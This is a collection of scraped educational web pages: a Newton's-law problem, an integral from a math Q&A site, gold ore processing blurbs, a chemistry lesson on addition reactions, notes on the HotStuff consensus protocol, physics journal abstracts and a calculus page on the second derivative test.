# How fast will an object with a mass of 16 kg accelerate if a force of 72 N is constantly applied to it? Apr 4, 2018 ${\text{4.5 m/s}}^{2}$ #### Explanation: From Newton’s second law $\text{F = ma}$ where ${\text{Acceleration" = "F"/"m" = "72 N"/"16 kg" = "4.5 m/s}}^{2}$ Apr 4, 2018 $4.5 \setminus {\text{m/s}}^{2}$ #### Explanation: We use Newton's second law, which states that, $F = m a$ • $m$ is the mass of the object in kilograms • $a$ is the acceleration in meters per second And so, $72 \setminus \text{N"=16 \ "kg} \cdot a$ $a = \left(72 \setminus \text{N")/(16 \ "kg}\right)$ $= 4.5 \setminus {\text{m/s}}^{2}$
2021-09-24 00:19:48
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 10, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9221352934837341, "perplexity": 1070.0192348929993}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-39/segments/1631780057479.26/warc/CC-MAIN-20210923225758-20210924015758-00405.warc.gz"}
https://math.stackexchange.com/questions/2388301/integrating-frac1ab-cos-x
# Integrating $\frac{1}{(a+b\cos x)}$ Question: How do you prove this integral$$\int\frac {dx}{a+b\cos x}=\frac 2{\sqrt{a^2-b^2}}\arctan\left\{\tan\frac x2\sqrt{\frac {a-b}{a+b}}\right\}$$or$$\int\frac {dx}{a+b\cos x}=\frac 1{\sqrt{b^2-a^2}}\log\frac {\sqrt{b+a}+\sqrt{b-a}\tan\tfrac x2}{\sqrt{b+a}-\sqrt{b-a}\tan\tfrac x2}$$According as $a> b$ and $a<b$. I'm not entirely sure how to prove the two integrals. I started off with the identity$$\cos x=\frac {1-\tan^2\tfrac x2}{1+\tan^2\tfrac x2}$$And substituted to get\begin{align*}\int\frac {dx}{a+b\cos x} & =\int\frac {dx}{a+b\left(\tfrac {1-\tan^2\tfrac x2}{1+\tan^2\tfrac x2}\right)}\\\\ & =\int\frac {1+\tan^2\tfrac x2}{(a+b)+(a-b)\tan^2\tfrac x2}\, dx\\ & =\int\frac {dz}{(a+b)+(a-b)z^2}\end{align*}where $z=\tan\tfrac x2$. Using the rule$$\int\frac 1{x^2+a^2}\, dx=\frac 1a\arctan\frac xa$$I get the integral as$$\frac 1{\sqrt{a+b}}\arctan\left\{\frac z{\sqrt{a+b}}\sqrt{a-b}\right\}=\frac 1{\sqrt{a+b}}\arctan\left(\tan\frac x2\sqrt{\frac {a-b}{a+b}}\right)$$Which doesn't match up with the solutions given. I'm also not sure how the second solution comes up. • Differentiate both sides – mathworker21 Aug 9 '17 at 19:51 • You can differentiate. – Michael Rozenberg Aug 9 '17 at 19:52 Lets compute the integral using the half tangent angle sub where $$\cos x = \frac{1-t^2}{1+t^2}$$ where $t = \tan\left(\frac{x}{2}\right)$ we obtain and integral of the form $$\int \frac{1}{a+b\left[\frac{1-t^2}{1+t^2}\right]}\frac{2}{1+t^2}dt$$ or $$\int \frac{2}{a(1+t^2)+b(1-t^2) }dt$$ or $$\int \frac{2}{a+b + (a-b)t^2}dt$$ you can re-arrange to obtain $$\frac{2}{a+b}\int\frac{1}{1 + \lambda^2t^2}dt$$ where $\lambda^2 = \frac{a-b}{a+b}$ so we have or using $\lambda t = u\to dt = \frac{1}{\lambda }du$ we find which is $$\frac{2}{\lambda (a+b)}\int\frac{1}{1 + u^2}du$$ which is easily integrated. For the case where $b > a$ we have to look at $$-\lambda^2 = \frac{a-b}{a+b} < 0 \to$$ so we have you can re-arrange to obtain $$\frac{2}{a+b}\int\frac{1}{1 - \lambda^2t^2}dt = \frac{2}{a+b} \int \frac{1}{(1-\lambda t)(1+\lambda t)}dt$$ we can split the final integrand as follows $$\frac{1}{(1-\lambda t)(1+\lambda t)} = \frac{1}{2}\left[\frac{1}{1-\lambda t} + \frac{1}{1+\lambda t}\right]$$ so you end up with an integral of the form $$\frac{2}{a+b}\int\frac{1}{1 - \lambda^2t^2}dt = \frac{1}{a+b} \int \left[\frac{1}{1-\lambda t} + \frac{1}{1+\lambda t}\right] dt$$ which is once again sdtraightforward to integrate. • I did not see the whole question, where you pretty much solved it. You forgot the $dx\to dt$ where the factor $2$ comes from also. When subbing please sub the whole expression since it is confusing especially when you have terms $x = \tan(x/2)$, – Chinny84 Aug 9 '17 at 20:20 • Okay, I will edit the question. Also, how do you get the second solution for $b>a$? – Frank Aug 9 '17 at 20:56
2021-03-02 11:19:27
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9386677742004395, "perplexity": 440.4411688056733}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178363809.24/warc/CC-MAIN-20210302095427-20210302125427-00453.warc.gz"}
https://www.pcafezeeland.nl/Sep-19/gold_the_process_from_ore_to_the_final_product/18615.html
# gold the process from ore to the final product • ### Mineral processing Dewatering is an important process in mineral processing The purpose of dewatering is to remove water absorbed by the particles which increases the pulp density This is done for a number of reasons, specifically, to enable ore handling and concentrates to be transported easily, allow further processing to occur and to dispose of the gangue. Get More • ### How gold is made Each process relies on the initial grinding of the gold ore, and more than one process may be used on the same batch of gold ore Mining 1 In lode or vein deposits, the gold is mixed with another mineral, often quartz, in a vein that has filled a split in the surrounding rocks Gold is obtained from lode deposits by drilling, blasting, or. Get More • ### Gold Mining Process / How is Gold Mined? Sep 28, 2013· This video goes through a mine and shows how they mine their GOLD Thanks for Watching, Subscribe Below! Gold mining How is gold mined?. Get More • ### Gold Extraction & Recovery Processes The final product grade depends on the gold ore treated This means that high head grades will allow getting a final product with high gold content As example, in places where there are important contents of silver, the final product can content 75 to 85% of gold. Get More • ### Hard Rock Mining Gold and Silver Ore and processing it In most gold ores, the final process to extract the tiniest gold particles is the use of cyanide to dissolve the gold Cyanide, in the presence of oxygen actually dissolves both gold and silver It is both efficient and inexpensive, so it is widely used in precious metal ore processing. Get More • ### [GIFS] The 5 Stages of the Mining Life Cycle Aug 18, 2015· The final step in production is smelting This process involves melting the concentrate in a furnance to extract the metal from its ore The ore is then poured into moulds, producing bars of bullion, which are then ready for sale Closure and reclamation The fifth and final stage in mining operations is closure and reclamation. Get More • ### Extracting Gold Removing the gold-bearing rock from the ground is just the first step To isolate pure gold, mining companies use a complex extraction process The first step in this process is breaking down large chunks of rock into smaller piec At a mill, large machines known as crushers reduce the ore to. Get More • ### How copper is made The process of extracting copper from copper ore varies according to the type of ore and the desired purity of the final product Each process consists of several steps in which unwanted materials are physically or chemically removed, and the concentration of copper is progressively increased. Get More • ### Topic 3: Ore processing and metal recovery May 17, 2009· Topic 3: Ore processing and metal recovery From a series of 5 lectures on Metals, minerals, mining and (some of) its problems prepared for London Mining Network by Mark Muller [email protected] 24 April 2009. Get More • ### PROCESS OF EXTRACTING GOLD AND SILVER FROM ORES Feb 16, 2017· The invention relates to a process for the extraction of gold and silver from ores or mining by-products consisting of pyrite concentrates, flotation tailings and metallurgical slags, chemically, using as reagent a solution of ammonium thiosulphate in an alkaline medium and a catalyst consisting of an amine of copper, provided the reagents are recirculated in the leaching process. Get More • ### Gold Extraction & Recovery Processes Jun 22, 2018· The mining process is responsible for much of the energy we use and products we consume Mining has been a vital part of American economy and the stages of the mining process have had little fluctuation However, the process of mining for ore is intricate and requires meticulous work procedures to be efficient and effective. Get More • ### 9 Step Process for Discovering, Mining & Refining Gold Jan 23, 2012· Gold miners too take special care to make the impact of mining for gold as light as possible Reclaiming land to its previous natural state is the final and perhaps most important step to ensuring the process of obtaining gold doesn’t result in permanent damage to the landscape. Get More • ### Copper Mining and Processing: Processing of Copper Ores Copper processing is a complicated process that begins with mining of the ore (less than 1% copper) and ends with sheets of 9999% pure copper called cathodes, which will ultimately be made into products for everyday useThe most common types of ore, copper oxide and copper sulfide, undergo two different processes, hydrometallurgy and pyrometallurgy, respectively, due to the different. Get More • ### How to Refine a Gold Smelt Apr 24, 2017· In nature, gold nuggets are not pure gold They are a combination of minerals, known as ore The metal can be removed from the ore in a process known as smelting, in which the minerals are separated by melting point Smelt gold is more pure than the original ore product, but can still contain impurities such as. Get More • ### Copper Mining and Processing: Processing of Copper Ores Copper processing is a complicated process that begins with mining of the ore (less than 1% copper) and ends with sheets of 9999% pure copper called cathodes, which will ultimately be made into products for everyday useThe most common types of ore, copper oxide and copper sulfide, undergo two different processes, hydrometallurgy and pyrometallurgy, respectively, due to the different. Get More • ### How Is Gold Processed? Gold is processed by cyanide milling, a chemical procedure that separates 95 to 98 percent of the gold from raw mined ore It is then refined to the gold standard purity, according to Mineweb Heap leaching is a less expensive method of gold extraction, but it is a longer process and it recovers less gold than the cyanide milling process. Get More • ### Mining And Mineral Processing A number of different methods can be used to separate gold from its ore, but one of the more common methods is called gold cyanidation In the process of gold cyanidation, the ore is crushed and then cyanide ($$\text{CN}^{-}$$) solution is added so that the gold particles are chemically separated from the ore. Get More • ### The Mining Process A slurry of ground ore, water and a weak cyanide solution is fed into large steel leach tanks where the gold and silver are dissolved Following this leaching process the slurry passes through six adsorption tanks containing carbon granules which adsorb the gold and silver This process removes 93% of the gold and 70% of the silver. Get More • ### Gold And Silver Refining Explained Gold Refining Gold mines process ore using various techniques to produce an alloy composed primarily of gold and silver, which is called a doré bar The composition of doré can vary significantly between mines, but generally the gold doré bars The Perth Mint processes are composed of between 70-80% gold and 10-15% silver. Get More • ### How the Gold Business Operates Sep 01, 2011· Gold mines produce rough gold, called a dore bar These bars are typically about 80 percent pure gold The gold is then sent to a refinery, where it is refined into gold. Get More • ### Mining and Ore Processing Mercury that is not processed or claimed during mining and ore processing can make its way into the environment if the mining waste is not stored properly Mercury is also extensively used in the gold mining process as an amalgam for separating gold from ore. Get More • ### Ancient gold smelting rare today extract recovery process Apr 04, 2016· Smelting of rare antique gold The process of refining gold to remove any impurities that may be found intermixed with the noble metal is an ancient practice that has long been employed by. Get More • ### The Borax Method of Gold Extraction for Small-Scale Miners fine-tuned each step of the process from crushed ore to gold pellet Their method is as follows: The first step after crushing the ore is milling This takes place in metal drums with hard metal rods or balls No mercury is added After milling, the ground-up ore is flushed into a. Get More
2021-10-18 11:01:26
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5726825594902039, "perplexity": 4932.716661476427}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323585201.94/warc/CC-MAIN-20211018093606-20211018123606-00262.warc.gz"}
http://www.ck12.org/chemistry/Addition-Reactions/lesson/Addition-Reactions/
<meta http-equiv="refresh" content="1; url=/nojavascript/"> Addition Reactions ( Read ) | Chemistry | CK-12 Foundation % Best Score Best Score % 0  0  0 What is this yellow stuff? There is big debate these days about using butter or margarine on your toast (or pancakes or muffin). Margarine is less expensive than butter and is lower in fat and cholesterol. Margarine is made from animal or vegetable fats using hydrogenation to reduce the double bonds in the fatty acids. Hydrogen gas is bubbled through the liquid oil and reacts with the carbon-carbon double bonds present in the long-chain fatty acids. The product is less likely to spoil than butter. An addition reaction is a reaction in which an atom or molecule is added to an unsaturated molecule, making a single product . An addition reaction can be thought of as adding a molecule across the double or triple bond of an alkene or alkyne. Addition reactions are useful ways to introduce a new functional group into an organic molecule. One type of addition reaction is called hydrogenation. Hydrogenation is a reaction that occurs when molecular hydrogen is added to an alkene to produce an alkane. The reaction is typically performed with the use of a platinum catalyst. Ethene reacts with hydrogen to form ethane. $\text{CH}_2\text{=CH}_2 (g) + \text{H}_2 (g) \xrightarrow{\text{Pt}} \text{CH}_3 \text{CH}_3 (g)$ Alkyl halides can be produced from an alkene by the addition of either the elemental halogen or the hydrogen halide. When the reactant is the halogen, the product is a disubstituted alkyl halide as in the addition of bromine to ethene. $\text{CH}_2\text{=CH}_2 (g) + \text{Br}_2 (l) \rightarrow & \ \text{CH}_2 \text{BrCH}_2 \text{Br} (g)\\& \ 1, 2\text{-dibromoethane}$ The addition of bromine to an unknown organic compound is indeed a test for saturation in the compound. Bromine has a distinctive brownish-orange color, while most bromoalkanes are colorless. When bromine is slowly added to the compound, the orange color will fade if it undergoes the addition reaction to the hydrocarbon. If the orange color remains, then the original compound was already saturated and no reaction occurred. A monosubstituted alkyl halide can be produced by the addition of a hydrogen halide to an alkene. Shown below is the formation of chloroethane. $\text{CH}_2\text{=CH}_2 (g) + \text{HCl} (g) \rightarrow \text{CH}_3\text{CH}_2\text{Cl}(g)$ A hydration reaction is a reaction in which water is added to an alkene. Hydration reactions can take place when the alkene and water are heated to near 100°C in the presence of a strong acid, which acts as a catalyst. Shown below is the hydration of ethene to produce ethanol. $\text{CH}_2\text{=CH}_2 + \text{H}_2 \text{O} \rightarrow \text{CH}_3 \text{CH}_2 \text{OH}$ Under modest reaction conditions, benzene resists addition reactions because adding a molecule across a double bond in a benzene ring disrupts the ring of delocalized electrons. This greatly destabilizes the molecule. However, under conditions of high temperature and pressure, and with an appropriate catalyst, benzene will slowly react with three molecules of hydrogen to produce cyclohexane. $\text{C}_6 \text{H}_6 + 3\text{H}_2 \xrightarrow{\text{Pt}} \text{C}_6 \text{H}_{12}$ Summary • Examples of addition reactions are given. Practice Draw structures of the products of the reactions in the “It is a helpful exercise to predict...” box partway down the page. Review Questions 1. What type of compound is needed for an addition reaction? 2. Name the compound formed in the reaction of CH 3 CH 2 CH=CH 2 and HCl. 3. What is the product of a hydration reaction?
2014-10-26 05:23:54
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 5, "texerror": 0, "math_score": 0.3666110336780548, "perplexity": 3101.816090953444}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-42/segments/1414119655893.49/warc/CC-MAIN-20141024030055-00055-ip-10-16-133-185.ec2.internal.warc.gz"}
https://jzhao.xyz/thoughts/HotStuff/
Search # HotStuff Last updated Aug 9, 2022 Edit Source A byzantine fault-tolerant state machine replication protocol for the partially synchronous system model. It can express other known protocols (e.g. PBFT, Tendermint, Casper FFG) in this common framework. ## # The Scaling Challenge Original BFT SMR protocol were designed with a typical target system size of $n = 5$ or $n = 7$ for local-area deployments. As such, they don’t scale well to high $n$ as required by permissioned and permissionless blockchains. HotStuff aims to overcome this by improving the bound of total number of authenticators communicated from $O(n^4)$ to $O(n^2)$ The first BFT SMR protocol with the following properties: 1. Linear view change: After GST, any correct leader, once designated, sends only $O(n)$ authenticators to drive a consensus decision in the best-case. In the worst-case, communication costs to reach consensus after GST is $O(n^2)$ authenticators in the worst case of cascading leader failures 2. Optimistic Responsiveness: : After GST, any correct leader, once designated, needs to wait just for the first $n − f$ responses to guarantee that it can create a proposal that will make progress HotStuff does this by adding another phase to each view, with the assumption that the network delay is less than the $\Delta$ required to wait for GST. This solves the hidden QC problem. If a leader doesn’t wait for the $\Delta$ expiration time of a round. Simply receiving $n-f$ replies from participants (up to $f$ of which may be Byzantine) is not sufficient to ensure that the leader gets to see the highest QC Such an impatient leader may propose a lower QC value than what is accepted and this may lead to a liveness violation. In order not to wait the maximum Δ expiration time of a round, HotStuff introduces another round, Pre-commit, before the actual Commit round. Both Casper and Tendermint wait the full $\Delta$ period instead of incurring the cost of a new round. ## # Cryptographic Primitives Uses thresholded signatures with a threshold of $k = 2f+1$ ## # Three-phase Protocol HotStuff is a view-based protocol. Each view $v$ has a unique leader known to all. Each replicas has a tree of pending commands (as opposed to a list used by more classical BFT protocols). During the protocol, a monotonically growing branch becomes committed. To become committed, the leader of a particular view proposing the branch must collect votes from a quorum of $(n − f)$ replicas (the QC) in three phases: prepare, pre-commit, and commit. ## # Chained HotStuff Note that each of the three-phases have very similar structure and that the protocol isn’t doing “useful” work except collecting votes from replicas. To optimize this, we can pipeline the phases, similar to what Casper FFG does. ### # Commit Rule HotStuff uses the concept of chains which maps nicely onto Chained HotStuff. The decision when a block is considered committed rests purely on a simple graph structure, a three-chain. The three-chain commit rule provides the following guarantee. 1. The first link (corresponding to prepare) in the chain QC|B' -> QC|B guarantees $n-f$ votes on a unique block B. 2. The second link (corresponding to pre-commit) in the chain QC|B'' -> QC|B' guarantees $n-f$ replicas have a QC on a unique block. 3. The last link (corresponding to commit) QC|B''' -> QC|B'' guarantees that $n-f$ replicas have the highest QC of any two-chain that has a vote.
2022-10-01 02:19:41
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3355250060558319, "perplexity": 3991.2494024460552}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335514.65/warc/CC-MAIN-20221001003954-20221001033954-00609.warc.gz"}
https://www.ias.ac.in/listing/bibliography/pram/A_K_Shrivastava
• A K Shrivastava Articles written in Pramana – Journal of Physics • An optical topographic technique to study the dissolution kinetics at dislocation sites in sodium chloride crystals A technique has been developed to study the dissolution kinetics at dislocation sites in sodium chloride single crystals. A parallel beam of light is allowed to fall upon the silvered etched surface of the crystals and the reflected beam is received back on a photographic film. The pattern thus obtained on the photographic film gives information about (i) the structure of the etched surface (ii) the nature of the surface forming the pit and (iii) the slope of the pit at the source of dissolution. • Structural and morphological characterization of CdSe:Mn thin films CdSe:Mn thin films were grown by chemical bath deposition. The pH of the solution was maintained at 11. Dry films so obtained were annealed in vacuum ($10^{−1}$ Torr) for about 2 h at 400$^{\circ}$C. The annealed samples were subjected to morphological and structural characterization using scanning electron microscope and XRD. XRD was used for structural characterization whereas scanning electron microscope shows the surface morphology of the films. XRD spectra reveal that the grown CdSe films are polycrystalline in nature and have cubic structure. The average particle size decreases on doping CdSe with Mn ions. The FE-SEM images show spherical particles having uniform distribution. Optical characterization was done using PL studies and UV–Visible spectrophotometer. PL spectra show an increase in PL intensity on doping. Optical band gap also decreases on doping. • # Pramana – Journal of Physics Volume 96, 2022 All articles Continuous Article Publishing mode • # Editorial Note on Continuous Article Publication Posted on July 25, 2019
2022-06-26 08:04:10
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.49450910091400146, "perplexity": 3577.5667132019207}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656103037649.11/warc/CC-MAIN-20220626071255-20220626101255-00523.warc.gz"}
https://www.instasolv.com/question/27-a-circle-is-inscribed-in-a-triangle-whose-sides-arc-8-cm-15-cm-and-17-j6zfes
27. A circle is inscribed in a tria... Question # 27. A circle is inscribed in a triangle whose sides arc 8 cm, 15 cm and 17 cm, then the radius of the circle is (a) 3 cm (b) 4cm (c) 5 cm (d) none of these JEE/Engineering Exams Maths Solution 120 4.0 (1 ratings) ( begin{aligned} S &=frac{a+b-c}{82} &=frac{15+8 cdots 17}{2} &=frac{23-17}{2} &=frac{6}{1}=3 end{aligned} )
2021-01-18 10:39:16
{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.801673948764801, "perplexity": 3007.821201546613}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-04/segments/1610703514495.52/warc/CC-MAIN-20210118092350-20210118122350-00724.warc.gz"}
http://brouwerverkeersopleidingen.nl/how-to-find-relative-extrema-using-second-derivative-test.html
# How To Find Relative Extrema Using Second Derivative Test Find a and b so that f x x ax b32 2,3 will have a critical point at. Save 20% by bu. (If an answer does not exist, enter DNE. maximum or minimum, it is a point of inflection. Example: Find the maxima and minima for The general word for maximum or minimum is extremum (plural extrema ). then has a relative minimum at. For the second derivative test you must first find the critical numbers for the first derivative and then evaluate the second derivative at these points. This video provides an example of how to use the second derivative test to determine relative extrema of a function. 3 Second Derivative Test in 3 or more variables By using the Hessian matrix, stating the second derivative test in more than 2 variables is not too di–cult to do. First Derivative Test for Critical Points b. concavity of the graph and do not represent a maximum or a minimum. The first derivative test states that if we take the derivative of a function and set it equal to zero and solve, we will find critical numbers. The second derivative also can be used to find Points of Inflection. Notes: In many books, the term “relative minimum” is used instead of “local minimum. You should always stick to the definitions and conventions used in that particular class to answer any questions. For general polynomials, finding these turning points is not possible without more advanced techniques from calculus. ) f(x) x5x-2 (x, y) relative maximum (x, y) relative minimum Find the point of inflection of the graph of the function. Subsection 10. These will be a relative extrema if it changes sign, so find 2 values around both to test using the first derivative test, like -3 and -1 for the first and 1 What do the letters R, Q, N, and Z mean in math? 1 educator answer. 7 I can use derivatives to complete optimization word problems. And then, you calculate the sum of second-order derivatives on it (or, the “Laplacian”). Multivariable Calculus Second Derivative Test With Hessian. There are two kinds of extrema (a word meaning maximum or minimum): global and local, sometimes referred to as "absolute" and "relative", respectively. Apply derivative with respect to. 18B Local Extrema 3 How do we find the local extrema? First Derivative Test Let f be continuous on an open interval (a,b) that contains a critical x-value. If the derivative f’(x) in turn has a derivative, then it is called the second derivative of the function y = f(x) and is designated as y”, f(x),d 2 y/dx 2,d 2 f/dx 2, or D 2 f(x). Calculates the root of the equation f(x)=0 from the given function f(x) and its derivative f'(x) using Newton method. To conclude whether they are relative maxima you must take the second derivative. relative max: no relative min relative min: no relative max relative min: no relative max relative max: no relative min no relative max or min. Besides, we can also use the Laplacian of Gaussian(LoG) with different σ to achieve this. First Derivative Test. The Second Derivative Test: 1. The second derivative test states that if a function has a critical point fo. (State Ax and Ay) t2 on 0,5] 2. These points are called If the second derivative also vanishes, we must consider higher derivatives at the stationary point in order to determine whether the slope actually. You must justify your answer using an analysis of f '(x) and f "(x). All the textbooks show how to do this with copious examples and exercises. Several Examples with detailed solutions are presented. And then, you calculate the sum of second-order derivatives on it (or, the “Laplacian”). However, this type of. type of relative extrema depends on the sign of the gxx When you need to find the relative extrema of a function: 1. This math will come in handy for optimization, which is the art of classifying extreme points but with more word problems The other good news is that you can usually do whichever test is easier. All local maximums and minimums on a function's graph — called local extrema of the function — must occur at critical points. 2nd DERIVATIVE: Power rule only. A function is concave down at a point if there is an interval containing c and the second derivative is negative on this interval. Since the second derivative is f''(x)=6-6x, we get f''(0)=6>0 and f''(2)=-6<0. 6 I can sketch the graph of a function given information about the function’s first and second derivative. Note in the example above that the full coordinates were found. Solve: 0=−4 2−12 =0 𝑎 =±23. Using the Second Derivative Test. Second Derivative Test for Extrema. Use the 1st derivative. Use the Second Derivative Test where applicable. Use the Second Derivative Test where applicable. may be a relative maximum, relative minimum, or neither if fc′′( )=0. To find the local extrema and or absolute extrema of interval that is not closed, we need to sketch the graph or use the second derivative. Finally, determine the relative extrema of the function. ANSWER: Find the critical numbers of the original function. For general polynomials, finding these turning points is not possible without more advanced techniques from calculus. E) On the occasion that the second derivative is equal to zero, the point is neither a relative. They perform the second derivative test, and identify the partial derivatives. o )If ′′( <0, ( ) is a relative maximum. Objective: Apply the Second Derivative Test to find relative extrema of a function. Use the Second Derivative Test to nd the relative extrema of each function. The term higher derivative test or higher derivative tests is used for a slight modification of the second derivative test that is used to determine whether a critical point for a function is a point of local maximum, local minimum, or neither. BYJU’S online second derivative calculator tool makes the calculation faster, and it displays the second order derivative in a fraction of seconds. Also, if has a critical point, at which is undefined, the second derivative test. When this happens, you have to use the First Derivative Test. Find y ¢ if e will use the product/quotient rule and derivatives of y will use the chain rule. The first derivative test states that if we take the derivative of a function and set it equal to zero and solve, we will find critical numbers. Extremum, plural Extrema, in calculus, any point at which the value of a if the derivative of a function is zero at a point, then the function will have a relative maximum or minimum if The theory of extrema applies to practical problems of optimization, such as finding the. These will come from the values that make our derivative zero or where the derivative does not exist. Use the Second Derivative Test where applicable. Find the graph of f’ from f c. This is referred to as the second derivative test. A function possibly has a point of inflection at a point where the second derivative is exactly 0 (or as we shall see, at a point where the second derivative does not exist). Publishing as Pearson Addison-Wesley 10/27 Example 2: Graph the function f given by f (x) x 3 3x 2 9x 13, and find the relative extrema. Find all critical numbers. Find all relative extrema of the function f x x x ± ± ± 2. There is a second derivative test to find relative extrema. We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. Find the critical numbers. Relative maxima can also occur at points at which the derivative fails to. You then use the First Derivative Test. The higher-order derivative test or general derivative test is able to determine whether a function's critical points are maxima, minima, or points of inflection for a wider variety of functions than the second-order derivative test. More specically, the second derivative describes the curvature of the function f. Example: Find the maxima and minima for The general word for maximum or minimum is extremum (plural extrema ). Using the first derivative test to find relative (local) extrema. • Find any points of inflection of the graph of a function. In addition to finding critical points using calculus techniques, viewing the graph of a function should help identify extreme values. Each card gives five possible answers, much like the multiple choice section of the AP Calculus AB exam. If fccc( ) 0 , then is a relative maximum. extrema Relative Maxima and Minima: This graph showcases a relative maxima and minima for the graph f(x). Example 2: Find the relative extrema for 𝑓(𝑥)=−3𝑥5+5𝑥3using the Second Derivative Test. Find the critical point(s) of the function. Solution: The relative. In addition to 